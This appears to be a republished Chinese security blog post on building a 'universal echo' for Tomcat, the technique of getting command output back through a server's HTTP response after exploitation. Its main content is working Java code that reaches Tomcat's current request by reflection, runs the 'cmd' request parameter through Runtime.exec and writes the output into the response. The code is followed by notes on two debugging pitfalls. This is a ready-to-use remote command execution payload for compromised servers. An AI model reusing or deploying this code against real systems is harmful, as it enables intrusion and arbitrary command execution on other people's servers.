Tomcat通用回显的坑

admin 2022年5月26日17:37:09评论34 views字数 3151阅读10分30秒阅读模式

Tomcat通用回显的坑

扫一扫关注公众号,长期致力于安全研究Tomcat通用回显的坑




0x01 前言

本文主要讲解Tomcat通用回显中遇到的一些小问题


0x02 代码分析

全部代码如下,调用链在下方。不做过多讲解。

WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try{ //获取ApplicationContext 该类service存在StandardService Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext); Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); StandardService standardService = (StandardService) service.get(applicationContext); Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors"); connectors.setAccessible(true); Connector[] connector = (Connector[]) connectors.get(standardService); Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler"); protocolHandler.setAccessible(true); //获取内部类 Class<?>[] cls = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses(); for (Class<?> cl : cls) { if("org.apache.coyote.AbstractProtocol$ConnectionHandler".equals(cl.getName())){ Method getHandler = AbstractProtocol.class.getDeclaredMethod("getHandler",null); getHandler.setAccessible(true); Field global = cl.getDeclaredField("global"); global.setAccessible(true); RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(),null)); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); List<RequestInfo> list = (List<RequestInfo>) processors.get(requestGroupInfo);
Field reqs = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); reqs.setAccessible(true); for (RequestInfo requestInfo : list) { if(requestInfo.getMethod() != null){ Request request = (Request) reqs.get(requestInfo); org.apache.catalina.connector.Request con_req = (org.apache.catalina.connector.Request) request.getNote(1); InputStream stream = Runtime.getRuntime().exec(con_req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(stream).useDelimiter("\A"); String str = s.hasNext() ? s.next(): ""; con_req.getResponse().setContentType("text/html;charset=gb2312"); con_req.getResponse().getWriter().write(str.toString()); }
} } } }catch(Exception e){
} }

0x03 坑点分析

问题1,在61行处 本人加了一个if

Tomcat通用回显的坑

先看一下问题点,如果不加该if的话。是无法回显的

Tomcat通用回显的坑

通过断点跟踪,可以发现processors里面。其实是有两个RequestInfo,第一处的RequestInfo中的req其实是为null的。

Tomcat通用回显的坑


所以找了一种解决方法,在该对象中有一处getMethod的方法。而里面调用到了req,所以对该方法的返回进行判断即可。

    public String getMethod() {        return this.req.method().toString();    }

Tomcat通用回显的坑


问题2 为什么不直接用org.apache.coyote.Request来获取response?


其实该对象中,是存在response的

Tomcat通用回显的坑

但是跟进去之后,就会发现问题,该类没有实现HttpServletResponse接口,所以需要才有了后续操作进行获取Tomcat通用回显的坑



11111
微信搜索关注 "安全族" 长期致力于安全研究


下方扫一下扫,即可关注Tomcat通用回显的坑

Tomcat通用回显的坑






原文始发于微信公众号(安全族):Tomcat通用回显的坑

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月26日17:37:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat通用回显的坑https://cn-sec.com/archives/1052611.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息